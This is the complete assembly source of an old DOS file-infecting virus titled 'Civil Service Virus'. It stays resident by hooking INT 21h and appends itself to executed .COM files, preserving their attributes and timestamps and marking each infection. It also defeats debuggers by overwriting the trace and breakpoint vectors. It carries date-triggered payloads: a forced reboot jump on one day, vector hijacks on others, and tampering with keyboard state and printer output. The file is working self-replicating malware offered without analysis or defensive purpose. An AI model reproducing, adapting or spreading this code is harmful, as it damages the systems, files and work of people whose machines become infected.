; Civil Service Virus by Marvin Giskard
; Turbo Assember version 2

Exec        equ  4B00h
OpenFile    equ  3D02h
ReadFile    equ  3Fh
WriteFile   equ  40h
CloseFile   equ  3Eh
EXESign     equ  5A4Dh
SeekTop     equ  4200h
SeekEnd     equ  4202h
GetAttr     equ  4300h
SetAttr     equ  4301h
GetDT       equ  5700h
SetDT       equ  5701h
MinSize     equ  4h
MaxSize     equ  0FBF0h
GetDate     equ  2Bh
FileID      equ  2206h
MemID       equ  4246h     ;     'FB'

.MODEL SMALL
.CODE
ORG 0100h

Start:
  XOR AX, AX
  MOV DS, AX
  CMP WORD PTR DS:01ACh, MemID
  JNE Instl2
  CMP WORD PTR DS:01AEh, FileID
  JE NoInstl2

Instl2:
  CALL InstallInMem

NoInstl2:
  PUSH CS
  PUSH CS
  POP DS
  POP ES
  MOV DX, OFFSET FileName
  MOV AX, 4B22h
  INT 21h
  INT 20h

FileName: DB 'TEST.COM',0

AddCode:
  JMP OverData

  ; Addcode's data

Buf:          DB 0, 0                   ; Miscellaneous Buf
JumpCode:     DB 0E9h, 00h, 00h         ; Code to be placed at front of file
FSize:        DW 0                      ; File size
Attr:         DB 0                      ; Attr of file being infected
FDateTime:    DD 0                      ; Time and date of file being infected
Generation:   DW 0                      ; Generation counter
Infected:     DW 0                      ; Number of files infected
Old24Handler: DD 0                      ; Old INT 24h handler
Acts:         DB 0                      ; Flag to stop reentry
Path:         DD 0

OverData:
  MOV WORD PTR DS:0100h, 0000h
  MOV BYTE PTR DS:0102h, 00h

  ; Check if handler already installed by examining 2 words in vector
  ; table entry of INT 6Bh

  XOR AX, AX
  MOV DS, AX
  CMP WORD PTR DS:01ACh, MemID
  JNE Instl
  CMP WORD PTR DS:01AEh, FileID
  JE AlreadyInstalled

Instl:
  CALL InstallInMem
  JMP ALreadyInstalled

InstallInMem:
  MOV WORD PTR DS:01ACh, MemID
  MOV WORD PTR DS:01AEh, FileID

  PUSH CS
  POP DS

  ; Get INT 21h handler in ES:BX.

  MOV AX, 3521h
  INT 21h
DoOldOfs:
  MOV SI, OFFSET DoOld+1
  MOV [SI], BX
  MOV [SI+2], ES
  PUSH ES
  PUSH BX
  POP DX
  POP DS
  MOV AX, 256Dh
  INT 21h

  ; This label is here so that the infect part will be able to calculate
  ; source offset of Int21Handler and then place it in here before writing
  ; it to disk. The OFFSET AddCode will be replaced by the right number.

Source:
  MOV SI, OFFSET AddCode

  ; Destination e.g. Where program will be placed are now calculated by
  ; taking the amount of memory in $0040:$0013. Multiply by 16 to get
  ; segment of memory end and then subract amount of blocks needed.
  ; This is where routine will be placed.

  MOV AX, 0040h
  MOV DS, AX
  MOV AX, WORD PTR DS:0013h
  MOV CL, 6
  SHL AX, CL

  ; Set dest. segment 2048 pages (32 K) below top of memory.

  SUB AX, 2048
  MOV ES, AX
  XOR DI, DI
  MOV CX, OFFSET AddCodeEnd - OFFSET AddCode
  PUSH CS
  POP DS
  REP MOVSB

  ; Set INT 21h Handler to point to our routine

  MOV AX, 2521h
  PUSH ES
  POP DS
  MOV DX, OFFSET Int21Handler - OFFSET AddCode
  INT 21h

  MOV BYTE PTR DS:[OFFSET Acts-OFFSET AddCode], 0

  RET

AlreadyInstalled:

  Call DisTrace

  ; Code to jump back to 0100h

  PUSH CS
  PUSH CS
  POP DS
  POP ES
  MOV AX, 0100h
  JMP AX

  ; Disable tracing and breakpoint setting for debuggers.

DisTrace:
  MOV AX, 0F000h
  MOV DS, AX
  MOV DX, 0FFF0h
  MOV AX, 2501h
  INT 21h
  MOV AX, 2503h
  INT 21h
  RET

Int21Handler:
  PUSH AX
  PUSH BX
  PUSH CX
  PUSH DX
  PUSH DI
  PUSH SI
  PUSH ES
  PUSH DS

  ; Install devious act if seed is right

  MOV AH, 2Ah
  INT 6Dh
  CMP CX, 1991
  JB Act
  CMP DL, 22
  JNE Timer
  DB 0EAh, 0F0h, 0FFh, 00h, 0F0h

Timer:
  MOV AH, 25h
  CMP DL, 29
  JE Inst1
  CMP DL, 1
  JE Inst2
  CMP DL, 10
  JE Inst3
  CMP DL, 16
  JE Inst4
  JMP Act
Inst1:
  MOV AL, 13h
  JMP SetVec
Inst2:
  MOV AL, 16h
  JMP SetVec
Inst3:
  MOV AL, 0Dh
  JMP SetVec
Inst4:
  MOV AL, 10h

SetVec:
  PUSH CS
  POP DS
  MOV DX, OFFSET Int24Handler - OFFSET AddCode
  INT 6Dh

Act:
  MOV AX, 0040h
  MOV DS, AX
  MOV AX, WORD PTR DS:006Eh

  PUSH CS
  POP DS
  MOV BH, DS:[OFFSET Acts - OFFSET AddCode]
  CMP BH, 3
  JE NoAct

  CMP AX, 22
  JE NoAct

  MOV BYTE PTR [SI], 3
  MOV AX, 3509h
  INT 21h
  PUSH ES
  PUSH BX
  POP DX
  POP DS
  MOV AX, 256Ah
  INT 21h
  PUSH CS
  POP DS
  MOV DX, OFFSET Int9Handler - OFFSET AddCode
  MOV AX, 2509h
  INT 21h

  MOV AX, 3517h
  INT 21h
  PUSH ES
  PUSH BX
  POP DX
  POP DS
  MOV AX, 256Ch
  INT 21h
  PUSH CS
  POP DS
  MOV DX, OFFSET Int17Handler - OFFSET AddCode
  MOV AX, 2517h
  INT 21h

NoAct:

  POP DS
  POP ES
  POP SI
  POP DI
  POP DX
  POP CX
  POP BX
  POP AX

  CMP AH, 4Bh
  JE Infect
DoOld:
  ;  This next bytes represent a JMP 0000h:0000h. The 0's will be replaced
  ;  by the address of the old 21 handler.
  DB 0EAh
  DD 0

DoOldPop:
  POP ES
  POP DS
  POP BP
  POP DI
  POP SI
  POP DX
  POP CX
  POP BX
  POP AX
  JMP DoOld

CloseQuit:

  MOV AX, 2524h
  MOV SI, OFFSET Old24Handler-OFFSET AddCode
  MOV DX, CS:[SI]
  MOV DS, CS:[SI+2]
  INT 21h

  PUSH CS
  POP DS
  MOV SI, OFFSET FDateTime-OFFSET AddCode
  MOV CX, DS:[SI]
  MOV DX, DS:[SI+2]
  MOV AX, SetDT
  INT 21h

  MOV AH, CloseFile
  INT 21h

  MOV AX, SetAttr
  MOV CL, DS:[OFFSET Attr - OFFSET AddCode]
  XOR CH, CH
  MOV SI, OFFSET Path-OFFSET AddCode
  MOV DX, DS:[SI]
  MOV DS, DS:[SI+2]

  INT 21h

  JMP DoOldPop

Infect:
  PUSH AX
  PUSH BX
  PUSH CX
  PUSH DX
  PUSH SI
  PUSH DI
  PUSH BP
  PUSH DS
  PUSH ES

  ; Get file's attr

  MOV AX, GetAttr
  INT 21h
  JC CloseQuit
  MOV CS:[OFFSET Attr-OFFSET AddCode], CL

  MOV SI, OFFSET Path-OFFSET AddCode
  MOV CS:[SI], DX
  MOV CS:[SI+2], DS

  ; Get/Set INT 24h handler

  MOV AX, 3524h
  INT 21h
  MOV SI, OFFSET Old24Handler-OFFSET AddCode
  MOV CS:[SI], BX
  MOV CS:[SI+2], ES
  MOV AX, 2524h
  PUSH CS
  POP DS
  MOV DX, OFFSET Int24Handler-OFFSET AddCode
  INT 21h

  ; Set new attribute

  MOV SI, OFFSET Path-OFFSET AddCode
  MOV DX, CS:[SI]
  MOV DS, CS:[SI+2]

  MOV AX, SetAttr
  MOV CX, 0020h
  INT 21h
  JC CloseQuitFoot

  MOV AX, OpenFile
  INT 21h
  JC CloseQuitFoot
  MOV BX, AX

  ; Get file's time and date and store

  MOV AX, GetDT
  INT 21h
  JC CloseQuitFoot
  PUSH CS
  POP DS
  MOV SI, OFFSET FDateTime-OFFSET AddCode
  MOV DS:[SI], CX
  MOV DS:[SI+2], DX

  ; Read first two bytes of file

  MOV AH, ReadFile
  MOV CX, 2
  MOV DX, OFFSET OverData+4-OFFSET AddCode
  INT 21h
  JC CloseQuitFoot

  ; Check if fisrt two bytes identify the file as an EXE file
  ; If so, then don't infect the file

  CMP DS:[OFFSET OverData+4-OFFSET AddCode], EXESign
  JE CloseQuitFoot

  ; Read next byte

  MOV AH, ReadFile
  MOV CX, 1
  MOV DX, OFFSET OverData+10-OFFSET AddCode
  INT 21h
  JC CloseQuitFoot

  ; Get file size

  MOV AX, SeekEnd
  XOR CX, CX
  XOR DX, DX
  INT 21h
  JC CloseQuitFoot

  ; Save filesize and calculate jump offset

  CMP DX, 0
  JG CloseQuitFoot
  CMP AX, MinSize
  JB CloseQuitFoot
  CMP AX, MaxSize
  JA CloseQuitFoot
  MOV DS:[OFFSET FSize-OFFSET AddCode], AX
  MOV CX, AX
  SUB AX, 03h
  MOV DS:[OFFSET JumpCode+1-OFFSET AddCode], AX

  ; Calculate and store source

  ADD CX, 0100h
  MOV [OFFSET Source+1-OFFSET AddCode], CX

  ADD CX, OFFSET DoOld-OFFSET AddCode
  MOV [OFFSET DoOldOfs-OFFSET AddCode+1], CX

  JMP OverFoot1

CloseQuitFoot:
  JMP CloseQuit

OverFoot1:
  ; Read last 2 bytes to see if it is already infected

  MOV AX, SeekTop
  XOR CX, CX
  MOV DX, [OFFSET FSize-OFFSET AddCode]
  SUB DX, 2
  INT 21h

  MOV AH, ReadFile
  MOV CX, 2
  MOV DX, OFFSET Buf-OFFSET AddCode
  INT 21h

  CMP [OFFSET Buf-OFFSET AddCode], FileID
  JE CloseQuitFoot

  ; Prepare to write new jump

  MOV AX, SeekTop
  XOR CX, CX
  XOR DX, DX
  INT 21h

  ; Write new jump

  MOV AH, WriteFile
  MOV CX, 3
  MOV DX, OFFSET JumpCode-OFFSET AddCode
  INT 21h

  ; Write addcode
  ; Code to restore first three bytes is at start of addcode
  ; Int21 handler is also included
  ; Generation counter is included in data
  ; ID is at the end of addcode

  MOV AX, SeekEnd
  XOR CX, CX
  XOR DX, DX
  INT 21h

  ; Increase generation counter before writing it to the new file

  INC WORD PTR [OFFSET Generation - OFFSET AddCode]

  ; Set files infected to 0, for child hasn't infected anyone.

  MOV SI, OFFSET Infected - OFFSET AddCode
  PUSH WORD PTR [SI]
  MOV WORD PTR [SI], 0

  MOV AH, WriteFile
  MOV DX, OFFSET AddCode - OFFSET AddCode      ; 0000
  MOV CX, OFFSET AddCodeEnd - OFFSET AddCode
  INT 21h

  ; Decrease counter again, cause all his children should have the same
  ; generation count

  DEC WORD PTR [OFFSET Generation - OFFSET AddCode]

  ; Pop number of files infected and incread

  POP AX
  INC AX
  MOV WORD PTR [OFFSET Infected - OFFSET AddCode], AX

  JMP CloseQuit

Int24Handler:
  XOR AL, AL
  IRET

Int9Handler:
  PUSH AX
  PUSH CX
  PUSH DS

  MOV AX, 0040h
  MOV DS, AX
  MOV AH, BYTE PTR DS:006Ch
  CMP AH, 18
  JA NoChange
  MOV CL, 4
  SHL AH, CL
  SHR AH, CL
  MOV BYTE PTR DS:0017h, AH

NoChange:
  POP DS
  POP CX
  POP AX
  INT 6Ah
  IRET

Int17Handler:
  CMP AH, 00h
  JNE DoOld17
  PUSH DS
  PUSH AX
  PUSH BX
  MOV BX, 0040h
  MOV DS, BX
  MOV BH, BYTE PTR DS:006Ch
  SHR BH, 1
  SHR BH, 1
  CMP BH, 22h
  JE Ignore17
  POP BX
  POP AX
  POP DS

DoOld17:
  INT 6Ch
  IRET

Ignore17:
  POP BX
  POP AX
  POP DS
  IRET

  DW FileID

AddCodeEnd:

END Start